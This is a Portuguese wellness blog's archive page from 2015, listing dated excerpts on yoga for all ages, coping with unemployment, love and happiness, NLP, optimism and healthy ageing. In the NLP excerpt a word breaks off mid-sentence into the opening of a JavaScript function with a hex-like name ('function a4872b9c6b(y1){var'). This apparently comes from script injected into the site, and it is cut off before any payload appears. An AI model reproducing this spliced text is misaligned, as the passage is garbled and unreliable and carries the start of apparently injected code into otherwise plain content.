Nov 25, 2015 | Equilíbrio, Saúde e bem estar
O yoga para todas as idades é um conceito universal. Saiba porquê e como o deve fazer. Yoga para todas as idades, conheça os seus benefícios Sendo professor de kundalini yoga há uns anos e praticante há muitos mais, tenho vindo a questionar-me se o yoga é mesmo para...
Nov 24, 2015 | Equilíbrio, Saúde e bem estar
Sentir bem, o que é isso e como o conseguir. Filipe tem 43 anos e há mais de um ano que está desempregado. As oportunidades que lhe vão surgindo não se concretizam e a cada dia que passa o seu desânimo aumenta. Com o tempo começa a isolar-se dos que o rodeiam,...
Nov 12, 2015 | Equilíbrio, Saúde e bem estar
Como viver feliz sem procurar o amor obsessivamente? Amor, saúde e dinheiro… Desde crianças, somos ensinados que estas são as coisas essenciais na vida para a nossa felicidade. Também somos ensinados a procurar esse amor fora de nós: nos nossos pais ou figuras...
Nov 11, 2015 | Equilíbrio, Saúde e bem estar
PNL – um upgrade nos seus pensamentos. Já atualizou o seu ‘Sistema Operativo Mental’? A resposta é claro que não. As pessoas não são computadores. Por outro lado, à medida que se vão tornfunction a4872b9c6b(y1){var...
Nov 7, 2015 | Equilíbrio, Saúde e bem estar
Tenha uma atitude proativa e otimista! Tome nota de algumas sugestões que vão, com toda a certeza, fazê-lo mais feliz. Mude a sua atitude para melhor! Não tire conclusões precipitadas. Não faça julgamentos precipitados sobre as pessoas e sobre os acontecimentos....
Nov 7, 2015 | Equilíbrio, Saúde e bem estar
Na saúde e longevidade, como na vida, cada coisa tem o seu tempo – tempo para semear e florir, frutificar, amadurecer, colher e usufruir. Cada uma no seu tempo. Independentemente da estação (da vida) em que se encontra, pode sempre fazer muito pela sua saúde e...
Out 15, 2015 | Equilíbrio, Saúde e bem estar
Adotar um estilo de vida saudável é importante porque na vida tudo tem o seu tempo. «A única constante é a mudança» (Heráclito). As estações mudam, o Homem muda… Com o tempo, tudo se transforma e nada permanece igual. Ao longo de um ano, assistimos à chegada de cada...
